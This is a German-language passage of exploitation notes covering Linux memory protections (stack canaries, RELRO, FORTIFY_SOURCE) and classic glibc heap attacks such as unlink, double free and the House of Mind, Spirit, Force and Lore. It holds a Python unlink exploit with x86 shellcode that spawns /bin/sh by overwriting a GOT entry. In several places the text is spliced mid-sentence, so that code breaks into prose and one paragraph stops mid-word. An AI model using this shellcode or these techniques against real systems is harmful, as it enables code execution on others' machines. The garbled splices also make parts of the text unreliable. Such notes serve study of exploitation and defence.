Der Canary ist eine zufällige Zahl aus "/dev/urandom" oder andernfalls 0xff0a0000. Es wird in TLS (Thread Local Storage) gespeichert. Threads teilen sich denselben Speicherbereich, TLS ist ein Bereich, der globale oder statische Variablen für jeden Thread enthält. Normalerweise werden diese vom Elternprozess kopiert, obwohl der Kindprozess diese Daten ändern könnte, ohne die des Elternprozesses oder anderer Kinder zu ändern. Das Problem besteht darin, dass, wenn fork() verwendet wird, aber kein neuer Canary erstellt wird, alle Prozesse (Eltern und Kinder) denselben Canary verwenden. In i386 wird es in gs:0x14 und in x86_64 in fs:0x28 gespeichert.
Dieser Schutz lokalisiert Funktionen, die anfällige Puffer haben könnten, und fügt ihnen am Anfang der Funktion Code hinzu, um den Canary zu setzen, und am Ende, um ihn zu überprüfen.
Die Funktion fork() erstellt eine exakte Kopie des Elternprozesses, daher kann bei einem Webserver, der fork() aufruft, ein Brute-Force-Angriff Byte für Byte durchgeführt werden, um den verwendeten Canary herauszufinden.
Wenn die Funktion execve() nach fork() verwendet wird, wird der Speicher überschrieben und der Angriff ist nicht mehr möglich. vfork() ermöglicht es, den Kindprozess auszuführen, ohne eine Kopie zu erstellen, bis der Kindprozess versucht zu schreiben, dann wird eine Kopie erstellt.
Relocation Read-Only (RELRO)
Relro
Relro (Read only Relocation) beeinflusst die Speicherberechtigungen ähnlich wie NX. Der Unterschied besteht darin, dass NX den Stack ausführbar macht, während RELRO bestimmte Dinge schreibgeschützt macht, sodass wir nicht darauf schreiben können. Der häufigste Fall, bei dem dies ein Hindernis darstellt, ist die Verhinderung einer got
-Tabellenüberschreibung, die später behandelt wird. Die got
-Tabelle enthält Adressen für libc-Funktionen, damit die Binärdatei weiß, welche Adressen sie hat und sie aufrufen kann. Schauen wir uns an, wie die Speicherberechtigungen für einen got
-Tabelleneintrag für eine Binärdatei mit und ohne Relro aussehen.
Mit Relro:
gef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
Ohne Relro:
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
Für die Binärdatei ohne Relro können wir sehen, dass die got
-Eintragsadresse für fgets
0x404018
ist. Wenn wir uns die Speicherzuordnungen ansehen, sehen wir, dass sie zwischen 0x404000
und 0x405000
liegt, was die Berechtigungen rw
hat, was bedeutet, dass wir darauf lesen und schreiben können. Für die Binärdatei mit Relro sehen wir, dass die Adresse der got
-Tabelle für die Ausführung der Binärdatei (pie ist aktiviert, daher ändert sich diese Adresse) 0x555555557fd0
ist. In der Speicherzuordnung dieser Binärdatei liegt sie zwischen 0x0000555555557000
und 0x0000555555558000
, was den Speicherberechtigungen r
entspricht, was bedeutet, dass wir nur daraus lesen können.
Also, wie umgehen wir das? Der typische Umgehungsweg, den ich verwende, besteht darin, einfach nicht in Speicherbereiche zu schreiben, die durch Relro schreibgeschützt werden, und einen anderen Weg zu finden, um Codeausführung zu erreichen.
Beachten Sie, dass die Binärdatei vor der Ausführung die Adressen der Funktionen kennen muss:
- Lazy Binding: Die Adresse einer Funktion wird beim ersten Aufruf der Funktion gesucht. Daher muss die GOT während der Ausführung Schreibberechtigungen haben.
- Bind Now: Die Adressen der Funktionen werden zu Beginn der Ausführung gelöst, danach werden schreibgeschützte Berechtigungen für sensible Abschnitte wie .got, .dtors, .ctors, .dynamic, .jcr erteilt.
`**
-z relro**
y**
-z now`**
Um zu überprüfen, ob ein Programm Bind Now verwendet, können Sie Folgendes tun:
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
Wenn die Binärdatei im Speicher geladen wird und eine Funktion zum ersten Mal aufgerufen wird, wird zur PLT (Procedure Linkage Table) gesprungen. Von dort aus wird ein Sprung (jmp) zur GOT gemacht und festgestellt, dass dieser Eintrag nicht aufgelöst wurde (er enthält eine Adresse nach der PLT). Daher wird der Runtime Linker oder rtfd aufgerufen, um die Adresse aufzulösen und in der GOT zu speichern.
Wenn eine Funktion aufgerufen wird, wird die PLT aufgerufen, die die Adresse der GOT enthält, in der die Funktion gespeichert ist. Dadurch wird der Fluss dorthin umgeleitet und die Funktion aufgerufen. Wenn jedoch die Funktion zum ersten Mal aufgerufen wird, enthält die GOT den nächsten Befehl der PLT. Daher folgt der Fluss dem PLT-Code (rtfd) und ermittelt die Adresse der Funktion, speichert sie in der GOT und ruft sie auf.
Beim Laden einer Binärdatei in den Speicher hat der Compiler angegeben, an welcher Offset die Daten platziert werden müssen, die beim Ausführen des Programms geladen werden sollen.
Lazy Binding -> Die Adresse der Funktion wird beim ersten Aufruf der Funktion gesucht, daher hat die GOT Schreibberechtigungen, damit sie dort gespeichert werden kann und nicht erneut gesucht werden muss.
Bind now -> Die Adressen der Funktionen werden beim Laden des Programms gesucht und die Berechtigungen der Abschnitte .got, .dtors, .ctors, .dynamic, .jcr werden auf nur Lesen geändert. -z relro und -z now
Trotzdem sind die meisten Programme im Allgemeinen nicht mit diesen Optionen kompliziert, daher sind diese Angriffe immer noch möglich.
readelf -l /proc/ID_PROC/exe | grep BIND_NOW -> Um festzustellen, ob BIND_NOW verwendet wird
Fortify Source -D_FORTIFY_SOURCE=1 oder =2
Versucht, unsichere Funktionen zu identifizieren, die unsicher von einer Stelle zur anderen kopieren, und ersetzt die Funktion durch eine sichere Funktion.
Zum Beispiel: char buf[16]; strcpy(buf, source);
Es erkennt dies als unsicher und ersetzt dann strcpy() durch __strcpy_chk(), wobei die Größe des Puffers als maximale Kopiergröße verwendet wird.
Der Unterschied zwischen =1 und =2 ist, dass:
Die zweite Option erlaubt es nicht, dass %n aus einem Abschnitt mit Schreibberechtigung stammt. Außerdem kann der Parameter für den direkten Zugriff auf Argumente nur verwendet werden, wenn die vorherigen verwendet wurden, d.h. %3$d kann nur verwendet werden, wenn zuvor %2$d und %1$d verwendet wurden.
Um die Fehlermeldung anzuzeigen, wird argv[0] verwendet. Wenn also die Adresse einer anderen Stelle (wie einer globalen Variablen) dort platziert wird, zeigt die Fehlermeldung den Inhalt dieser Variablen an. Seite 191
Ersatz für Libsafe
Aktiviert mit: LD_PRELOAD=/lib/libsafe.so.2 oder "/lib/libsave.so.2" > /etc/ld.so.preload
Es werden unsichere Funktionsaufrufe durch sichere Funktionen ersetzt. Nicht standardisiert. (nur für x86, nicht für Kompilierungen mit -fomit-frame-pointer, nicht für statische Kompilierungen, nicht alle anfälligen Funktionen werden sicher und LD_PRELOAD funktioniert nicht in SUID-Binärdateien).
ASCII Armored Address Space
Besteht darin, die gemeinsam genutzten Bibliotheken von 0x00000000 bis 0x00ffffff zu laden, damit immer ein Byte 0x00 vorhanden ist. Dies hält jedoch kaum Angriffe auf und funktioniert besonders schlecht bei Little Endian.
ret2plt
Besteht darin, eine ROP (Return-Oriented Programming) durchzuführen, bei der die Funktion strcpy@plt (aus der plt) aufgerufen wird und auf den Eintrag in der GOT gezeigt wird, und das erste Byte der gewünschten Funktion (system()) kopiert wird. Anschließend wird dasselbe mit GOT+1 gemacht und das zweite Byte von system() kopiert... Schließlich wird die in der GOT gespeicherte Adresse aufgerufen, die system() sein wird.
Falsches EBP
Für Funktionen, die EBP als Register verwenden, um auf Argumente zu zeigen, muss das EBP ebenfalls geändert werden, um auf einen Speicherbereich zu zeigen, der zwei beliebige Bytes und dann die Adresse von &"/bin/sh" enthält, nachdem der EIP geändert wurde, um auf system() zu zeigen.
Chroot-Käfige
debootstrap -arch=i386 hardy /home/user -> Installiert ein grundlegendes System in einem bestimmten Unterverzeichnis
Ein Administrator kann aus einem solchen Käfig ausbrechen, indem er mkdir foo; chroot foo; cd .. ausführt.
Code-Instrumentierung
Valgrind -> Sucht nach Fehlern Memcheck RAD (Return Address Defender) Insure++
8 Heap Overflows: Grundlegende Exploits
Zugewiesener Chunk
prev_size | size | -Header *mem | Daten
Freier Chunk
prev_size | size | *fd | Zeiger auf vorherigen Chunk *bk | Zeiger auf nächsten Chunk -Header *mem | Daten
Die freien Chunks sind in einer doppelt verketteten Liste (bin) und es dürfen niemals zwei aufeinanderfolgende freie Chunks vorhanden sein (sie werden zusammengeführt).
In "size" gibt es Bits, um anzuzeigen: ob der vorherige Chunk verwendet wird, ob der Chunk über mmap() zugewiesen wurde und ob der Chunk zum primären Arena gehört.
Wenn ein Chunk freigegeben wird und benachbarte Chunks frei sind, werden diese durch die Makro unlink() fusioniert und der größere neue Chunk wird an frontlink() übergeben, um ihn in den entsprechenden Bin einzufügen.
unlink(){ BK = P->bk; -> BK des neuen Chunks ist derjenige, den der zuvor freie Chunk hatte FD = P->fd; -> FD des neuen Chunks ist derjenige, den der zuvor freie Chunk hatte FD->bk = BK; -> BK des nächsten Chunks zeigt auf den neuen Chunk BK->fd = FD; -> FD des vorherigen Chunks zeigt auf den neuen Chunk }
Daher, wenn es uns gelingt, P->bk mit der Adresse eines Shellcodes und P->fd mit der Adresse eines Eintrags in der GOT oder DTORS minus 12 zu ändern, wird Folgendes erreicht:
BK = P->bk = &shellcode FD = P->fd = &dtor_end - 12 FD->bk = BK -> *((&dtor_end - 12) + 12) = &shellcode
Dadurch wird beim Verlassen des Programms der Shellcode ausgeführt.
Außerdem schreibt die vierte Anweisung von unlink() etwas und der Shellcode muss dafür vorbereitet sein:
BK->fd = FD -> *((&shellcode + 8) = (&dtor_end - 12) -> Dies führt dazu, dass 4 Bytes ab dem 8. Byte des Shellcodes geschrieben werden, daher muss der erste Befehl des Shellcodes ein jmp sein, um dies zu überspringen und zu den Nops zu gelangen, die zum Rest des Shellcodes führen.
Daher wird der Exploit erstellt:
In den Buffer1 wird der Shellcode eingefügt, beginnend mit einem jmp, damit er zu den Nops oder zum Rest des Shellcodes gelangt.
Nach dem Shellcode wird Füllmaterial eingefügt, bis zum prev_size- und size-Feld des nächsten Chunks. An diesen Stellen werden 0xfffffff0 (um das prev_size zu überschreiben, damit das Bit angezeigt wird, dass es frei ist) und "-4" (0xfffffffc) in die size eingefügt (damit, wenn im dritten Chunk überprüft wird, ob der zweite frei ist, tatsächlich zum modifizierten prev_size gegangen wird, der ihm sagt, dass er frei ist) -> Dadurch wird, wenn free() aufgerufen wird, zur size des dritten Chunks gegangen, aber tatsächlich zum zweiten - 4 gegangen und gedacht, dass der zweite Chunk frei ist. Und dann wird unlink() aufgerufen.
Beim Aufruf von unlink() wird für P->fd die ersten Daten des zweiten Chunks verwendet, daher wird dort die Adresse eingefügt, die übers shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Es ist wichtig, dass das Bit, das angibt, dass der vorherige Chunk frei ist, auf 1 gesetzt ist
fake_size = pack("<I”, 0xfffffffc) #-4, damit der "size" des dritten Chunks 4 Bytes dahinter liegt (zeigt auf prev_size), da dort überprüft wird, ob der zweite Chunk frei ist
addr_sc = pack("<I", 0x0804a008 + 8) #Im Payload fügen wir am Anfang 8 Bytes Padding hinzu
got_free = pack("<I", 0x08048300 - 12) #Adresse von free() in plt-12 (wird überschrieben, um das Shellcode beim zweiten Aufruf von free() auszuführen)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Wie bereits erwähnt, beginnt das Payload mit 8 Bytes Padding
payload += prev_size + fake_size + got_free + addr_sc #Der zweite Chunk wird modifiziert, got_free zeigt auf die Adresse, an der addr_sc + 12 gespeichert wird
os.system("./8.3.o " + payload)
unset() in umgekehrter Reihenfolge freigeben (Wargame)
Wir kontrollieren 3 aufeinanderfolgende Chunks und geben sie in umgekehrter Reihenfolge frei.
In diesem Fall:
Im Chunk c wird der Shellcode platziert.
Der Chunk a wird verwendet, um das b zu überschreiben, so dass das Bit PREV_INUSE im Size deaktiviert wird und der Chunk a als frei betrachtet wird.
Darüber hinaus wird im Header b der Size so überschrieben, dass er -4 beträgt.
Dann denkt das Programm, dass "a" frei und in einem Bin ist, und ruft unlink() auf, um es zu entkoppeln. Da jedoch der PREV_SIZE-Header -4 beträgt, denkt es, dass der "a"-Chunk tatsächlich bei b+4 beginnt. Das heißt, es wird unlink() auf einen Chunk durchgeführt, der bei b+4 beginnt, sodass der Pointer "fd" bei b+12 und der Pointer "bk" bei b+16 liegt.
Auf diese Weise können wir die Adresse der Shellcode in bk und die Adresse der Funktion "puts()" -12 in fd platzieren, um unseren Payload zu erstellen.
Frontlink-Technik
Frontlink wird aufgerufen, wenn etwas freigegeben wird und keiner seiner benachbarten Chunks frei ist. Anstatt unlink() aufzurufen, wird direkt frontlink() aufgerufen.
Nützliche Schwachstelle, wenn das angegriffene malloc nie freigegeben (free()) wird.
Benötigt:
Einen Puffer, der mit der Eingabefunktion überlaufen kann.
Einen Puffer, der neben diesem freigegeben wird und dessen fd-Feld in seinem Header durch den Überlauf des vorherigen Buffers geändert wird.
Einen Puffer, der mit einer Größe größer als 512, aber kleiner als der vorherige Puffer freigegeben wird.
Einen Puffer, der vor Schritt 3 deklariert wird und es ermöglicht, den prev_size dieses Puffers zu überschreiben.
Auf diese Weise können wir in zwei mallocs unkontrolliert und in einem kontrollierten Exploit überschreiben und nur einer wird freigegeben.
Double free() Schwachstelle
Wenn free() zweimal mit demselben Zeiger aufgerufen wird, gibt es zwei Bins, die auf dieselbe Adresse zeigen.
Wenn wir einen erneut verwenden möchten, wird er problemlos zugewiesen. Wenn wir einen anderen verwenden möchten, wird ihm derselbe Speicherplatz zugewiesen, sodass die "fd" und "bk" Pointer mit den Daten gefälscht werden, die die vorherige Zuweisung schreibt.
After free()
Ein zuvor freigegebener Zeiger wird erneut ohne Kontrolle verwendet.
8 Heap-Überläufe: Fortgeschrittene Exploits
Die Techniken Unlink() und FrontLink() wurden geändert, indem die Funktion unlink() modifiziert wurde.
The house of mind
Es ist nur ein Aufruf von free() erforderlich, um beliebigen Code auszuführen. Es ist wichtig, einen zweiten Chunk zu finden, der von einem vorherigen überlaufen und freigegeben werden kann.
Ein Aufruf von free() führt zu einem Aufruf von public_fREe(mem), der Folgendes ausführt:
mstate ar_ptr;
mchunkptr p;
…
p = mem2chunk(mes); —> Gibt einen Zeiger auf die Adresse zurück, an der der Chunk beginnt (mem-8)
…
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
…
_int_free(ar_ptr, mem);
}
In [1] wird das Feld size mit dem Bit NON_MAIN_ARENA überprüft, das geändert werden kann, um die Überprüfung auf true zu setzen und heap_for_ptr() auszuführen, das ein "and" auf "mem" anwendet und die 2,5 am wenigsten signifikanten Bytes auf 0 setzt (in unserem Fall von 0x0804a000 auf 0x08000000) und auf 0x08000000->ar_ptr zugreift (als ob es ein struct heap_info wäre).
Auf diese Weise können wir einen Chunk beispielsweise bei 0x0804a000 kontrollieren und ein Chunk bei 0x081002a0 freigegeben wird, können wir zur Adresse 0x08100000 gelangen und dort schreiben, zum Beispiel 0x0804a000. Wenn dieser zweite Chunk freigegeben wird, wird festgestellt, dass heap_for_ptr(ptr)->ar_ptr den Wert enthält, den wir in 0x08100000 geschrieben haben (da er auf 0x081002a0 das zuvor erwähnte "and" anwendet und von dort die ersten 4 Bytes, den ar_ptr-Wert, abruft).
Auf diese Weise wird _int_free(ar_ptr, mem) aufgerufen, d.h. _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Wie wir zuvor gesehen haben, können wir den Wert von av kontrollieren, da er das ist, was wir in den freizugebenden Chunk schreiben.
Wie unsorted_chunks definiert ist, wissen wir, dass:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Daher wird, wenn wir in av->bins[2] den Wert von __DTOR_END__-12 schreiben, in der letzten Anweisung __DTOR_END__ die Adresse des zweiten Chunks geschrieben.
Das heißt, im ersten Chunk müssen wir am Anfang mehrmals die Adresse von __DTOR_END__-12 schreiben, weil av->bins[2] von dort abgeleitet wird.
An der Adresse, an der die Adresse des zweiten Chunks mit den letzten 5 Nullen liegt, müssen wir die Adresse dieses ersten Chunks schreiben, damit heap_for_ptr() denkt, dass ar_ptr am Anfang des ersten Chunks liegt und av->bins[2] von dort abruft.
Im zweiten Chunk und dank des ersten überschreiben wir prev_size mit einem Sprungbef Diese Technik ist nicht mehr anwendbar, da fast der gleiche Patch wie für unlink angewendet wurde. Es wird überprüft, ob die neue Adresse, auf die gezeigt wird, auch auf sie zeigt.
Fastbin
Es ist eine Variante von The House of Mind.
Wir möchten den folgenden Code ausführen, der nach der ersten Überprüfung der Funktion _int_free() erreicht wird:
fb = &(av->fastbins[fastbin_index(size)] —> wobei fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
Auf diese Weise wird, wenn es in "fb" eine Funktion in der GOT gibt, an dieser Adresse die Adresse des überschriebenen Chunks stehen. Dafür muss die Arena in der Nähe der dtors-Adressen liegen. Genauer gesagt muss av->max_fast an der Adresse stehen, die wir überschreiben möchten.
Da wir mit The House of Mind gesehen haben, dass wir die Position von av kontrollieren können.
Wenn wir also im Feld size eine Größe von 8 + NON_MAIN_ARENA + PREV_INUSE setzen, gibt uns fastbin_index() fastbins[-1] zurück, das auf av->max_fast zeigt.
In diesem Fall wird av->max_fast die Adresse sein, die überschrieben wird (nicht die, auf die gezeigt wird, sondern diese Position wird überschrieben).
Außerdem muss der Chunk, der neben dem freigegebenen Chunk liegt, größer als 8 sein. Da wir gesagt haben, dass die Größe des freigegebenen Chunks 8 beträgt, müssen wir in diesem falschen Chunk nur eine Größe größer als 8 setzen (da die Shellcode im freigegebenen Chunk stehen wird, muss am Anfang ein jmp stehen, der auf nops zeigt).
Außerdem muss dieser falsche Chunk kleiner sein als av->system_mem. av->system_mem liegt 1848 Bytes weiter oben.
Aufgrund der Nullen von _DTOR_END_ und der wenigen Adressen in der GOT sind keine dieser Adressen geeignet, um überschrieben zu werden. Schauen wir uns also an, wie wir Fastbin anwenden können, um den Stack anzugreifen.
Eine andere Möglichkeit des Angriffs besteht darin, das av auf den Stack umzuleiten.
Wenn wir die Größe so ändern, dass sie 16 statt 8 beträgt, gibt uns fastbin_index() fastbins[0] zurück und wir können dies nutzen, um den Stack zu überschreiben.
Dafür darf auf dem Stack kein Canary oder seltsame Werte vorhanden sein, tatsächlich müssen wir uns in folgendem Zustand befinden: 4 Nullbytes + EBP + RET
Die 4 Nullbytes werden benötigt, damit av auf diese Adresse zeigt und das erste Element eines av ist das Mutex, das den Wert 0 haben muss.
av->max_fast wird EBP sein und ein Wert, der uns helfen wird, die Restriktionen zu umgehen.
In av->fastbins[0] wird die Adresse von p überschrieben und wird RET sein, so dass zur Shellcode gesprungen wird.
Außerdem gibt es in av->system_mem (1484 Bytes über der Position auf dem Stack) viel Müll, der es uns ermöglicht, die Überprüfung zu umgehen.
Außerdem muss der Chunk, der neben dem freigegebenen Chunk liegt, größer als 8 sein. Da wir gesagt haben, dass die Größe des freigegebenen Chunks 16 beträgt, müssen wir in diesem falschen Chunk nur eine Größe größer als 8 setzen (da die Shellcode im freigegebenen Chunk stehen wird, muss am Anfang ein jmp stehen, der auf die nops zeigt, die nach dem size-Feld des neuen falschen Chunks kommen).
The House of Spirit
In diesem Fall möchten wir einen Zeiger auf ein malloc haben, der vom Angreifer veränderbar ist (z. B. ein Zeiger auf dem Stack unter einem möglichen Overflow einer Variablen).
Auf diese Weise könnten wir diesen Zeiger auf eine beliebige Adresse zeigen lassen. Allerdings ist nicht jede Adresse gültig, die Größe des gefälschten Chunks muss kleiner als av->max_fast und genauer gesagt gleich der Größe sein, die bei einem zukünftigen Aufruf von malloc()+8 angefordert wird. Daher, wenn wir wissen, dass nach diesem anfälligen Zeiger ein malloc(40) aufgerufen wird, muss die Größe des gefälschten Chunks 48 betragen.
Wenn zum Beispiel das Programm den Benutzer nach einer Zahl fragt, könnten wir 48 eingeben und den veränderbaren malloc-Zeiger auf die nächsten 4 Bytes zeigen lassen (die möglicherweise zum EBP gehören, so dass die 48 dahinter liegt, als ob es die Größenangabe wäre). Außerdem müssen die Adresse ptr-4+48 mehrere Bedingungen erfüllen (wobei in diesem Fall ptr=EBP), d. h. 8 < ptr-4+48 < av->system_mem.
Wenn dies erfüllt ist, wird beim nächsten malloc, von dem wir gesagt haben, dass es malloc(40) ist, die Adresse des EBP als Adresse zugewiesen. Wenn der Angreifer auch kontrollieren kann, was in diesem malloc geschrieben wird, kann er sowohl den EBP als auch den EIP mit der gewünschten Adresse überschreiben.
Ich glaube, das liegt daran, dass, wenn es freigegeben wird, free() speichert, dass an der Adresse, auf die der EBP des Stacks zeigt, ein Chunk mit der perfekten Größe für das neue malloc() reserviert werden soll, und weist ihm diese Adresse zu.
The House of Force
Es wird benötigt:
- Ein Overflow zu einem Chunk, der es ermöglicht, das Wilderness zu überschreiben.
- Ein Aufruf von malloc() mit der vom Benutzer definierten Größe.
- Ein Aufruf von malloc(), dessen Daten vom Benutzer definiert werden können.
Zuerst wird die Größe des Wilderness-Chunks mit einem sehr großen Wert (0xffffffff) überschrieben, so dass jede ausreichend große Speicheranforderung in _int_malloc() behandelt wird, ohne den Heap erweitern zu müssen.
Zweitens wird av->top so geändert, dass es auf einen vom Angreifer kontrollierten Speicherbereich zeigt, wie z. B. den Stack. In av->top wird &EIP - 8 gespeichert.
Wir müssen av->top überschreiben, damit es auf den vom Angreifer kontrollierten Speicherbereich zeigt:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
Victim erhält den Wert der Adresse des aktuellen Wilderness-Chunks (der aktuelle av->top) und remainder ist genau die Summe dieser Adresse plus der Anzahl der Bytes, die von malloc() angefordert wurden. Wenn also &EIP-8 bei 0xbffff224 liegt und av->top den Wert 0x080c2788 enthält, dann ist die Menge, die wir in dem kontrollierten malloc reservieren müssen, damit av->top auf $EIP-8 für das nächste malloc() zeigt:
0xbffff224 - 0x080c2788 = 3086207644.
Auf diese Weise wird der geänderte Wert in av->top gespeichert und das nächste malloc zeigt auf EIP und kann es überschreiben.
Es ist wichtig zu wissen, dass die Größe des neuen Wilderness-Chunks größer sein muss als die Anforderung des letzten malloc(). Das heißt, wenn das Wilderness auf &EIP-8 zeigt, wird die Größe genau im EBP-Feld des Stacks stehen.
The House of Lore
SmallBin-Korruption
Die freigegebenen Chunks werden je nach ihrer Größe in den Bin eingefügt. Bevor sie jedoch eingefügt werden, werden sie in unsorted bins gespeichert. Ein freigegebener Chunk wird nicht sofort in seinen Bin eingefügt, sondern bleibt in unsorted bins. Wenn dann ein neuer Chunk reserviert wird und der zuvor freigegebene Chunk verwendet werden kann, wird er zurückgegeben. Wenn jedoch ein größerer Chunk reserviert wird, wird der freigegebene Chunk in seinen entsprechenden Bin eingefügt.
Um den verwundbaren Code zu erreichen, muss die Speicheranforderung größer als av->max_fast (normalerweise 72) und kleiner als MIN_LARGE_SIZE (512) sein.
Wenn im Bin ein Chunk mit der richtigen Größe vorhanden ist, Reservieren Sie zwei mallocs, so dass der erste nach dem Freigeben des zweiten und Einfügen in seinen Bin (dh nachdem ein malloc größer als der zweite Chunk reserviert wurde) überlaufen werden kann.
Der vom Angreifer gewählte Speicherbereich sollte von ihm kontrolliert werden.
Das Ziel ist folgendes: Wenn wir einen Heap-Overflow auf einen bereits freigegebenen Chunk auslösen können, können wir seinen bk-Zeiger ändern. Wenn wir den bk-Zeiger ändern und dieser Chunk der erste in der Bin-Liste ist und reserviert wird, wird die Bin-Liste getäuscht und glaubt, dass der nächste Chunk in der gefälschten Adresse liegt, die wir angegeben haben (zum Beispiel im Stack oder in der GOT). Wenn also ein weiterer Chunk reserviert wird und der Angreifer darauf zugreifen kann, wird ihm ein Chunk an der gewünschten Position gegeben und er kann darauf schreiben.
Nachdem der modifizierte Chunk freigegeben wurde, muss ein größerer Chunk reserviert werden, damit der modifizierte Chunk aus den unsortierten Bins entfernt und in seinen Bin eingefügt wird.
Sobald er in seinem Bin ist, ist es an der Zeit, den bk-Zeiger durch den Overflow zu ändern, damit er auf die gewünschte Adresse zeigt.
Der Bin muss dann warten, bis malloc() ausreichend oft aufgerufen wird, um den modifizierten Bin erneut zu verwenden und den Bin zu täuschen, indem er glaubt, dass der nächste Chunk an der gefälschten Adresse liegt. Dann wird der gewünschte Chunk bereitgestellt.
